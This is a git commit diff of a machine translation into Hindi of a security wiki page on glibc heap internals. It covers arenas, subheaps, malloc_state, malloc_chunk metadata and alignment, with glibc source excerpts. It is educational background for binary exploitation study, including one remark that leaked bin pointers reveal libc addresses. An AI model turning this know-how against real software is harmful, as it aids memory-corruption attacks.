Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat

This commit is contained in:
Translator 2024-09-16 20:58:22 +00:00
parent 813713cd78
commit 07d2b08729
83 changed files with 888 additions and 772 deletions

Binary file not shown.

Before

Width:  |  Height:  |  Size: 65 KiB

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 142 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 142 KiB

After

Width:  |  Height:  |  Size: 108 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 108 KiB

After

Width:  |  Height:  |  Size: 63 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 63 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 708 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 708 KiB

After

Width:  |  Height:  |  Size: 287 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 287 KiB

After

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 201 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 201 KiB

After

Width:  |  Height:  |  Size: 197 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 197 KiB

After

Width:  |  Height:  |  Size: 23 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 79 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 79 KiB

After

Width:  |  Height:  |  Size: 609 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 609 KiB

After

Width:  |  Height:  |  Size: 9.5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 254 KiB

After

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 43 KiB

After

Width:  |  Height:  |  Size: 137 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 137 KiB

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 1.3 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.3 MiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 29 KiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 428 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 428 KiB

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

After

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 43 KiB

After

Width:  |  Height:  |  Size: 78 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 78 KiB

After

Width:  |  Height:  |  Size: 18 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 42 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 42 KiB

After

Width:  |  Height:  |  Size: 92 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 92 KiB

After

Width:  |  Height:  |  Size: 334 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 90 KiB

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 33 KiB

After

Width:  |  Height:  |  Size: 116 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 116 KiB

After

Width:  |  Height:  |  Size: 418 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 418 KiB

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 53 KiB

After

Width:  |  Height:  |  Size: 74 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 74 KiB

After

Width:  |  Height:  |  Size: 271 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 271 KiB

After

Width:  |  Height:  |  Size: 105 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 105 KiB

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 254 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 254 KiB

After

Width:  |  Height:  |  Size: 5.5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 5.5 KiB

After

Width:  |  Height:  |  Size: 254 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 254 KiB

After

Width:  |  Height:  |  Size: 112 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 112 KiB

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 18 KiB

After

Width:  |  Height:  |  Size: 3.2 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.2 MiB

After

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 10 KiB

After

Width:  |  Height:  |  Size: 262 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 262 KiB

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 95 KiB

After

Width:  |  Height:  |  Size: 407 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 407 KiB

After

Width:  |  Height:  |  Size: 284 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 284 KiB

After

Width:  |  Height:  |  Size: 40 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 58 KiB

After

Width:  |  Height:  |  Size: 175 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 175 KiB

After

Width:  |  Height:  |  Size: 453 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 453 KiB

After

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 23 KiB

After

Width:  |  Height:  |  Size: 172 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 172 KiB

After

Width:  |  Height:  |  Size: 210 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 210 KiB

After

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 20 KiB

After

Width:  |  Height:  |  Size: 1 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1 MiB

After

Width:  |  Height:  |  Size: 594 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 594 KiB

After

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 334 KiB

After

Width:  |  Height:  |  Size: 35 KiB

View file

@ -1,51 +1,56 @@
# हीप
# Libc Heap
## हीप की बुनियादी जानकारी
## Heap Basics
हीप वह स्थान है जहाँ कार्यक्रम डेटा स्टोर करने के लिए सक्षम होगा जब वह **`malloc`**, `calloc` जैसी फ़ंक्शन को कॉल करके डेटा का अनुरोध करेगा। इसके अतिरिक्त, जब यह मेमोरी और नहीं चाहिए होती है तो फ़ंक्शन **`free`** को कॉल करके इसे उपलब्ध कर दिया जाता है।
हीप मूल रूप से वह स्थान है जहाँ एक प्रोग्राम डेटा को स्टोर कर सकेगा जब वह डेटा को **`malloc`**, `calloc`... जैसी फ़ंक्शंस को कॉल करके अनुरोध करता है। इसके अलावा, जब इस मेमोरी की अब आवश्यकता नहीं होती है, तो इसे **`free`** फ़ंक्शन को कॉल करके उपलब्ध कराया जाता है।
जैसा कि दिखाया गया है, यह बस उसके बाद है जहाँ बाइनरी मेमोरी में लोड हो रहा है (चेक करें `[हीप]` खंड):
जैसा कि दिखाया गया है, यह उस स्थान के ठीक बाद है जहाँ बाइनरी मेमोरी में लोड हो रही है (चेक करें `[heap]` सेक्शन):
<figure><img src="../../.gitbook/assets/image (1241).png" alt=""><figcaption></figcaption></figure>
### बुनियादी चंक आवंटन
### Basic Chunk Allocation
जब किसी डेटा को हीप में स्टोर करने के लिए अनुरोध किया जाता है, तो सके लिए हीप का कुछ स्थान आवंटित किया जाता है। यह स्थान एक बिन का होगा और केवल अनुरोधित डेटा + बिन हेडर क स्थान + न्यूनतम बिन आकार ऑफसेट चंक के लिए आरक्षित किया जाएगा। लक्ष्य यह है कि हर चंक को ढूंढना जटिल न करते हुए संभावना हो कि संभावना हो कि केवल न्यूनतम मेमोरी आरक्षित की जाए। इसके लिए, मेटाडेटा चंक जानकारी का उपयोग किया जाता है ताकि पता चले कि हर उपयोग किया गया/फ्री चंक कहाँ है।
जब कुछ डेटा को हीप में स्टोर करने के लिए अनुरोध किया जाता है, तो सके लिए हीप का कुछ स्थान आवंटित किया जाता है। यह स्थान एक बिन का होगा और केवल अनुरोधित डेटा + बिन हेडर क स्थान + न्यूनतम बिन आकार ऑफसेट के लिए चंक आरक्षित किया जाएगा। लक्ष्य यह है कि जितनी संभव हो उतनी न्यूनतम मेमोरी आरक्षित की जाए बिना यह जटिल किए कि प्रत्येक चंक कहाँ है। इसके लिए, मेटाडेटा चंक जानकारी का उपयोग किया जाता है यह जानने के लिए कि प्रत्येक उपयोग की गई/फ्री चंक कहाँ है।
आवंटन करने के लिए विभिन्न तरीके हैं जो मुख्य रूप से उपयोग किए गए बिन पर निर्भर करते हैं, लेकिन एक सामान्य मेथडोलॉजी निम्नलिखित है:
स्थान आरक्षित करने के विभिन्न तरीके हैं जो मुख्य रूप से उपयोग किए गए बिन पर निर्भर करते हैं, लेकिन एक सामान्य कार्यप्रणाली निम्नलिखित है:
* प्रोग्राम निश्चित मात्रा मेमोरी का अनुरोध करके शुरू होता है।
* यदि चंकों की सूची में कोई उपलब्ध है जो अनुरोध को पूरा करने के लिए पर्याप्त बड़ा है, तो उसका उपयोग किया जाएगा
* यह यह भी मतलब हो सकता है कि उपलब्ध चंक का हिस्सा इस अनुरोध के लिए उपयोग किया जाएगा और शेष चंकों सूची में जोड़ दिया जाएगा
* यदि सूची में कोई उपलब्ध चंक नहीं है लेकिन आवंटित हीप मेमोरी में अभी भी स्थान है, तो हीप प्रबंधक एक नया चंक बनाता है
* यदि नए चंक को आवंटित करने के लिए पर्याप्त हीप स्थान नहीं है, तो हीप प्रबंधक कर्नल से हीप के लिए आवंटित मेमोरी को विस्तार करने के लिए कहता है और फिर इस मेमोरी का उपयोग करके नए चंक उत्पन्न करता है
* अगर सब कुछ असफल हो जाता है, तो `malloc` नल लौटाता है।
* प्रोग्राम एक निश्चित मात्रा में मेमोरी के लिए अनुरोध करना शुरू करता है।
* यदि चंक्स की सूची में कोई उपलब्ध बड़ा चंक है जो अनुरोध को पूरा कर सकता है, तो इसका उपयोग किया जाएगा
* इसका मतलब यह भी हो सकता है कि उपलब्ध चंक का एक भाग इस अनुरोध के लिए उपयोग किया जाएगा और बाकी चंक्स की सूची में जोड़ा जाएगा।
* यदि सूची में कोई उपलब्ध चंक नहीं है लेकिन आवंटित हीप मेमोरी में अभी भी स्थान है, तो हीप प्रबंधक एक नया चंक बनाता है
* यदि नए चंक को आवंटित करने के लिए पर्याप्त हीप स्थान नहीं है, तो हीप प्रबंधक कर्नल से हीप के लिए आवंटित मेमोरी को बढ़ाने के लिए कहता है और फिर इस मेमोरी का उपयोग नए चंक को उत्पन्न करने के लिए करता है
* यदि सब कुछ विफल हो जाता है, तो `malloc` शून्य लौटाता है।
ध्यान दें कि यदि अनुरोधित **मेमोरी एक थ्रेशोल्ड** पार करती है, तो **`mmap`** का उपयोग किया जाएगा ताकि अनुरोधित मेमोरी को मैप किया जा सके
ध्यान दें कि यदि अनुरोधित **मेमोरी एक सीमा को पार करती है**, तो **`mmap`** का उपयोग अनुरोधित मेमोरी को मैप करने के लिए किया जाएगा
## एरीना
## Arenas
**मल्टीथ्रेड** एप्लिकेशन में, हीप प्रबंधक को **क्रैश** करने वाली **रेस कंडीशन** से बचना चाहिए। पहले, इसे केवल एक समय में केवल एक थ्रेड हीप तक पहुंच सकता था सुनिश्चित करने के लिए एक **ग्लोबल म्यूटेक्स** का उपयोग किया गया था, लेकिन यह **प्रदर्शन समस्याएं** उत्पन्न करता था क्योंकि म्यूटेक्स-उत्प्रेरित बॉटलनेक का कारण था
**मल्टीथ्रेडेड** अनुप्रयोगों में, हीप प्रबंधक को **रेस कंडीशंस** को रोकना चाहिए जो क्रैश का कारण बन सकती हैं। प्रारंभ में, यह एक **वैश्विक म्यूटेक्स** का उपयोग करके किया गया था ताकि यह सुनिश्चित किया जा सके कि केवल एक थ्रेड एक समय में हीप तक पहुँच सकता है, लेकिन इससे म्यूटेक्स-प्रेरित बाधा के कारण **प्रदर्शन समस्याएँ** उत्पन्न हुईं
इस समस्या का समाधान करने के लिए, ptmalloc2 हीप आवंटकर्ता ने "एरीना" का परिचय किया, जहाँ **प्रत्येक एरीना** एक **अलग हीप** के रूप में काम करता है जिसमें उसके **अपने** डेटा **संरचनाएँ** और **म्यूटेक्स** होते हैं, अनुमति देता है कि कई थ्रेड हीप ऑपरेशन करें बिना एक दूसरे को बाधित करें, जब तक वे विभिन्न एरीना का उपयोग न करें।
इसका समाधान करने के लिए, ptmalloc2 हीप आवंटक ने "एरेनास" पेश किए, जहाँ **प्रत्येक एरेना** एक **अलग हीप** के रूप में कार्य करता है जिसमें इसके **अपने** डेटा **संरचनाएँ** और **म्यूटेक्स** होते हैं, जिससे कई थ्रेड बिना एक-दूसरे में हस्तक्षेप किए हीप ऑपरेशंस कर सकते हैं, जब तक कि वे अलग-अलग एरेनास का उपयोग करते हैं।
डिफ़ॉल्ट "मुख्य" एरीना एकल-थ्रेड एप्लिकेशन के लिए हीप ऑपरेशन को संभालता है। जब **नए थ्रेड** जोड़े जाते हैं, हीप प्रबंधक उन्हें कम टकराव के लिए **सेकेंडरी एरीना** असाइन करता है। यह पहले प्रत्येक नए थ्रेड को एक अप्रयुक्त एरीना से जोड़ने का प्रयास करता है, जरूरत पड़ने पर नए एरीना बनाता है, 32-बिट सिस्टम के लिए CPU कोरों की संख्या का 2 गुणा और 64-बिट सिस्टम के लिए 8 गुणा सीमा तक। एक बार सीमा पहुंच जाती है, **थ्रेड्स को एरीना साझा** करना पड़ता है, जो संघर्ष की संभावना है।
डिफ़ॉल्ट "मुख्य" एरेना एकल-थ्रेडेड अनुप्रयोगों के लिए हीप ऑपरेशंस को संभालता है। जब **नए थ्रेड** जोड़े जाते हैं, तो हीप प्रबंधक उन्हें **माध्यमिक एरेनास** सौंपता है ताकि प्रतिस्पर्धा को कम किया जा सके। यह पहले प्रत्येक नए थ्रेड को एक अप्रयुक्त एरेना से जोड़ने का प्रयास करता है, यदि आवश्यक हो तो नए बनाता है, 32-बिट सिस्टम के लिए CPU कोर की संख्या के 2 गुना और 64-बिट सिस्टम के लिए 8 गुना तक। एक बार सीमा पहुँच जाने पर, **थ्रेड्स को एरेनास साझा करना होगा**, जिससे संभावित प्रतिस्पर्धा हो सकती है।
मुख्य एरीना की तरह, जो `brk` सिस्टम कॉल का उपयोग करके विस्तार होता है, सेकेंडरी एरीना `mmap` और `mprotect` का उपयोग करके "सबहीप्स" बनाते हैं ताकि हीप व्यवहार को नकल कर सकें, मल्टीथ्रेड ऑपरेशन के लिए मेमोरी प्रबंधन में लचीलापन हो
मुख्य एरेना के विपरीत, जो `brk` सिस्टम कॉल का उपयोग करके विस्तारित होता है, माध्यमिक एरेनास "सबहीप्स" बनाते हैं जो `mmap` और `mprotect` का उपयोग करके हीप व्यवहार का अनुकरण करते हैं, जिससे मल्टीथ्रेडेड ऑपरेशंस के लिए मेमोरी प्रबंधन में लचीलापन मिलता है
### सबहीप्स
### Subheaps
सबहीप्स मल्टीथ्रेड एप्लिकेशन में सेकेंडरी एरीना के लिए मेमोरी आरक्षित करते हैं, जिससे उन्हें मुख्य हीप से अलग रूप से अपने हीप क्षेत्रों को बढ़ाने और प्रबंधित करने की अनुमति मिले। यहाँ सबहीप्स मुख्य हीप से कैसे भिन्न हैं और वे कैसे काम करते हैं:
सबहीप्स मल्टीथ्रेडेड अनुप्रयोगों में माध्यमिक एरेनास के लिए मेमोरी रिजर्व के रूप में कार्य करते हैं, जिससे उन्हें बढ़ने और अपने हीप क्षेत्रों का प्रबंधन मुख्य हीप से अलग करने की अनुमति मिलती है। यहाँ बताया गया है कि सबहीप्स प्रारंभिक हीप से कैसे भिन्न होते हैं और वे कैसे कार्य करते हैं:
1. **प्रारंभिक हीप vs. सबहीप्स**:
* प्रारंभिक हीप सीधे कार्यक्रम के बाइनरी के बाद स्थित है, और यह `sbrk` सिस्टम कॉल का उपयोग करके विस्तार होता है।
* सेकेंडरी एरीना द्वारा उपयोग किए जाने वाले सबहीप्स `mmap` के माध्यम से बनाए जाते हैं, एक सिस्टम कॉल जो एक निर्दिष्ट मेमोरी क्षेत्र को मैप करता है।
1. **प्रारंभिक हीप बनाम सबहीप्स**:
* प्रारंभिक हीप प्रोग्राम की बाइनरी के ठीक बाद मेमोरी में स्थित होती है, और यह `sbrk` सिस्टम कॉल का उपयोग करके विस्तारित होती है।
* सबहीप्स, जो माध्यमिक एरेनास द्वारा उपयोग किए जाते हैं, `mmap` के माध्यम से बनाए जाते हैं, जो एक निर्दिष्ट मेमोरी क्षेत्र को मैप करने वाला सिस्टम कॉल है।
2. **`mmap` के साथ मेमोरी आरक्षण**:
* जब हीप प्रबंधक एक सबहीप बनाता है, तो वह `mmap` के माध्यम से एक बड़े ब्लॉक मेमोरी को आरक्षित करता है। यह आरक्षण मेमोरी को तुरंत आवंटित नहीं करता; यह बस एक क्षेत्र निर्धारित करता है जिसे अन्य सिस्टम प्रक्रियाएँ या आवंटन का उपयोग नहीं कर सकती हैं।
* डिफ़ॉल्ट रूप से, सबहीप्स के लिए आरक्षित आकार 32-बिट प्रक्रियाओं के लिए 1 MB है और 64-बिट प्रक्रियाओं के लिए 64 MB है।
3. **`mprotect` के साथ धीरे-धीरे विस्तार**:
* आरक्षित मेमोरी क्षेत्र को पहले `PROT_NONE` के रूप में चिह्नित किया जाता है, जिससे कर्नल को इस स्थान के लिए भौतिक मेमोरी का आवंटन करने की आवश्यकता नहीं होती है।
* सबहीप को "बढ़ाने" के ल
* जब हीप प्रबंधक एक सबहीप बनाता है, तो यह `mmap` के माध्यम से मेमोरी का एक बड़ा ब्लॉक आरक्षित करता है। यह आरक्षण तुरंत मेमोरी आवंटित नहीं करता है; यह बस एक क्षेत्र को निर्दिष्ट करता है जिसका उपयोग अन्य सिस्टम प्रक्रियाओं या आवंटनों को नहीं करना चाहिए।
* डिफ़ॉल्ट रूप से, एक सबहीप के लिए आरक्षित आकार 32-बिट प्रक्रियाओं के लिए 1 MB और 64-बिट प्रक्रियाओं के लिए 64 MB है।
3. **`mprotect` के साथ क्रमिक विस्तार**:
* आरक्षित मेमोरी क्षेत्र को प्रारंभ में `PROT_NONE` के रूप में चिह्नित किया जाता है, यह दर्शाता है कि कर्नेल को अभी इस स्थान के लिए भौतिक मेमोरी आवंटित करने की आवश्यकता नहीं है।
* सबहीप को "बढ़ाने" के लिए, हीप प्रबंधक `mprotect` का उपयोग करके पृष्ठ अनुमतियों को `PROT_NONE` से `PROT_READ | PROT_WRITE` में बदलता है, जिससे कर्नेल को पहले से आरक्षित पते पर भौतिक मेमोरी आवंटित करने के लिए प्रेरित किया जाता है। यह चरण-दर-चरण दृष्टिकोण सबहीप को आवश्यकतानुसार बढ़ने की अनुमति देता है।
* एक बार जब पूरा सबहीप समाप्त हो जाता है, तो हीप प्रबंधक एक नया सबहीप बनाता है ताकि आवंटन जारी रह सके।
### heap\_info <a href="#heap_info" id="heap_info"></a>
यह संरचना हीप की प्रासंगिक जानकारी आवंटित करती है। इसके अलावा, अधिक आवंटनों के बाद हीप मेमोरी निरंतर नहीं हो सकती है, यह संरचना उस जानकारी को भी संग्रहीत करेगी।
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
@ -65,14 +70,14 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
```
### malloc\_state
**प्रत्येक हीप** (मुख्य एरीना या अन्य धागों के एरीना) में एक **`malloc_state` संरचना होती है।**\
यह महत्वपूर्ण है कि **मुख्य एरीना `malloc_state`** संरचना एक **लिब्सी में एक ग्लोबल चर** है (इसलिए यह लिब्सी मेमोरी स्पेस में स्थित है)।\
थ्रेड्स के हीप की **`malloc_state`** संरचनाएं केवल **अपने धाग "हीप"** में स्थित हैं।
**प्रत्येक हीप** (मुख्य एरेना या अन्य थ्रेड्स एरेना) के पास एक **`malloc_state` संरचना है।**\
यह ध्यान रखना महत्वपूर्ण है कि **मुख्य एरेना `malloc_state`** संरचना **libc में एक वैश्विक चर है** (इसलिए libc मेमोरी स्पेस में स्थित है)।\
**थ्रेड्स के हीप के `malloc_state`** संरचनाओं के मामले में, वे **अपने स्वयं के थ्रेड "हीप" के अंदर** स्थित हैं।
इस संरचना से कुछ दिलचस्प बातें नोट करने योग्य हैं (नीचे दिए गए सी कोड देखें):
इस संरचना से कुछ दिलचस्प बातें नोट करने के लिए हैं (नीचे C कोड देखें):
* `__libc_lock_define (, mutex);` यहाँ यह है कि इस संरचना को 1 धाग द्वारा ही पहुंचा जा सके
* झंडे:
* `__libc_lock_define (, mutex);` यह सुनिश्चित करने के लिए है कि इस हीप से यह संरचना एक समय में 1 थ्रेड द्वारा एक्सेस की जाए
* फ्लैग:
* ```c
#define NONCONTIGUOUS_BIT (2U)
@ -81,11 +86,11 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
```
* `mchunkptr bins[NBINS * 2 - 2];` में **पॉइंटर** होते हैं **छोटे, बड़े और अनक्रमित बिन्स** के **पहले और आखिरी चंक्स** की ओर (यहाँ -2 इसलिए है क्योंकि इंडेक्स 0 का उपयोग नहीं होता)
* इसलिए, इन बिन्स क**पहले चंक** के पास इस संरचना के लिए **पिछले की ओर पॉइंटर** होगा और इन बिन्स के **आखिरी चंक** के पास इस संरचना के लिए **आगे की ओर पॉइंटर** होगा। जिसका मतलब है कि अगर आप मुख्य एरीना में इन पतों को **लीक** कर सकते हैं तो आपके पास **लिब्सी** में संरचना के लिए एक पॉइंटर होगा।
* संरचनाओं `struct malloc_state *next;` और `struct malloc_state *next_free;` एरीना की लिंक्ड लिस्ट हैं
* `टॉप` चंक आखिरी "चंक" है, जो मौजूदा हीप बची हुई स्थान है। जब टॉप चंक "खाली" होता है, तो हीप पूरी तरह से उपयोग की जाती है और इसे अधिक स्थान का अनुरोध करना पड़ता है।
* `आखिरी अनुस्मारक` चंक उन मामलों से आता है जहां एक सटीक आकार का चंक उपलब्ध नहीं है और इसलिए एक बड़ा चंक विभाजक, एक पॉइंटर शेष हिस्सा यहाँ रखा जाता है।
* `mchunkptr bins[NBINS * 2 - 2];` में **छोटे, बड़े और असंरचित **bins** के **पहले और अंतिम चंक्स** के लिए **पॉइंटर्स** होते हैं (यह -2 इसलिए है क्योंकि इंडेक्स 0 का उपयोग नहीं किया जाता)
* इसलिए, इन बिन्स क**पहला चंक** इस संरचना के लिए एक **पीछे की ओर पॉइंटर** होगा और इन बिन्स का **अंतिम चंक** इस संरचना के लिए एक **आगे की ओर पॉइंटर** होगा। जिसका मतलब है कि यदि आप **मुख्य एरेना में इन पते को लीक कर सकते हैं** तो आपके पास **libc** में संरचना के लिए एक पॉइंटर होगा।
* संरचनाएँ `struct malloc_state *next;` और `struct malloc_state *next_free;` एरेनास के लिंक्ड लिस्ट हैं
* `top` चंक अंतिम "चंक" है, जो मूल रूप से **सभी हीप शेष स्थान** है। एक बार जब शीर्ष चंक "खाली" हो जाता है, तो हीप पूरी तरह से उपयोग किया जाता है और इसे अधिक स्थान का अनुरोध करने की आवश्यकता होती है।
* `last reminder` चंक उन मामलों से आता है जहां एक सटीक आकार का चंक उपलब्ध नहीं है और इसलिए एक बड़ा चंक विभाजित किया जाता है, एक पॉइंटर शेष भाग यहां रखा जाता है।
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
@ -133,9 +138,9 @@ INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
```
### मैलोक\_चंक
### malloc\_chunk
यह संरचना एक विशेष मेमोरी चंक को प्रतिनिधित करती है। आवंटित और अप्राप्त चंक के लिए विभिन्न फील्ड्स का अलग-अलग मतलब होता है
यह संरचना मेमोरी के एक विशेष टुकड़े का प्रतिनिधित्व करती है। विभिन्न फ़ील्ड्स आवंटित और अव्यवस्थित टुकड़ों के लिए अलग-अलग अर्थ रखती हैं
```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
struct malloc_chunk {
@ -150,35 +155,35 @@ struct malloc_chunk* bk_nextsize;
typedef struct malloc_chunk* mchunkptr;
```
जैसा पहले टिप्पणी किया गया है, इन चंक्स में कुछ मेटाडेटा भी होता है, जो इस छवि में बहुत अच्छी तरह से प्रतिनिधित है:
जैसा कि पहले टिप्पणी की गई थी, इन चंक्स में कुछ मेटाडेटा भी होता है, जो इस छवि में बहुत अच्छे से दर्शाया गया है:
<figure><img src="../../.gitbook/assets/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
मेटाडेटा आम तौर पर 0x08B होता है जो वर्तमान चंक का आकार दर्शाता है और अंतिम 3 बिट इसका दर्शाते हैं:
मेटाडेटा आमतौर पर 0x08B होता है जो वर्तमान चंक आकार को दर्शाता है, अंतिम 3 बिट्स का उपयोग करके:
* `A`: अगर 1 है तो यह एक सबहीप से आया है, अगर 0 है तो यह मुख्य एरिना में है
* `M`: अगर 1 है, तो यह चंक mmap के साथ आवंटित किए गए अंतरिक्ष का हिस्सा है और न ही यह हीप का हिस्सा है
* `P`: अगर 1 है, तो पिछला चंक उपयोग में है
* `A`: यदि 1 है तो यह एक सबहीप से आता है, यदि 0 है तो यह मुख्य एरेना में है
* `M`: यदि 1 है, तो यह चंक mmap के साथ आवंटित स्थान का हिस्सा है और हीप का हिस्सा नहीं है
* `P`: यदि 1 है, तो पिछला चंक उपयोग में है
फिर, उपयोगकर्ता डेटा के लिए जगह, और अंत में 0x08B तक पिछले चंक का आकार दर्शाने के लिए जब चंक उपलब्ध होता है (या जब यह आवंटित होता है)।
फिर, उपयोगकर्ता डेटा के लिए स्थान, और अंत में 0x08B यह दर्शाने के लिए कि चंक उपलब्ध होने पर पिछला चंक आकार क्या है (या जब यह आवंटित होता है तो उपयोगकर्ता डेटा को संग्रहीत करने के लिए)।
इसके अतिरिक्त, जब उपलब्ध होता है, तो उपयोगकर्ता डेटा में भी कुछ डेटा शामिल होता है:
इसके अलावा, जब उपलब्ध होता है, तो उपयोगकर्ता डेटा में कुछ डेटा भी शामिल होता है:
* **`fd`**: अगले चंक के लिए पॉइंटर
* **`bk`**: पिछले चंक के लिए पॉइंटर
* **`fd_nextsize`**: सूची में पहला चंक जो इससे छोटा है के लिए पॉइंटर
* **`bk_nextsize`:** सूची में पहला चंक जो इससे बड़ा है के लिए पॉइंटर
* **`fd`**: अगले चंक क पॉइंटर
* **`bk`**: पिछले चंक क पॉइंटर
* **`fd_nextsize`**: सूची में पहला चंक जिसका आकार स्वयं से छोटा है
* **`bk_nextsize`:** सूची में पहला चंक जिसका आकार स्वयं से बड़ा है
<figure><img src="../../.gitbook/assets/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
{% hint style="info" %}
ध्यान दें कि इस तरह से सूची को जोड़ने से हर एक चंक को पंजीकृत करने की आवश्यकता नहीं होती है
इस तरह सूची को लिंक करने से यह आवश्यकता समाप्त हो जाती है कि हर एक चंक को पंजीकृत करने के लिए एक एरे हो
{% endhint %}
### चंक पॉइंटर
### चंक पॉइंटर्स
जब malloc का उपयोग किया जाता है तो एक पॉइंटर वापस लौटाया जाता है जिस पर सामग्री लिखी जा सकती है (हेडर्स के बाद), हालांकि, चंक को प्रबंधित करते समय, हेडर्स (मेटाडेटा) की शुरुआत के लिए एक पॉइंटर की आवश्यकता होती है।\
इन परिवर्तनों के लिए ये फ़ंक्शन्स उपयोग किए जाते हैं:
जब malloc का उपयोग किया जाता है, तो उस सामग्री का पॉइंटर लौटाया जाता है जिसे लिखा जा सकता है (हेडर के ठीक बाद), हालाँकि, चंक्स का प्रबंधन करते समय, हेडर (मेटाडेटा) की शुरुआत के लिए एक पॉइंटर की आवश्यकता होती है।\
इन परिवर्तनों के लिए ये फ़ंक्शन उपयोग किए जाते हैं:
```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -196,9 +201,9 @@ typedef struct malloc_chunk* mchunkptr;
#define MINSIZE \
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
```
### समरूपण और न्यूनतम आकार
### Alignment & min size
चंक के पॉइंटर और `0x0f` का मान 0 होना चाहिए।
चंक के लिए पॉइंटर और `0x0f` को 0 होना चाहिए।
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61
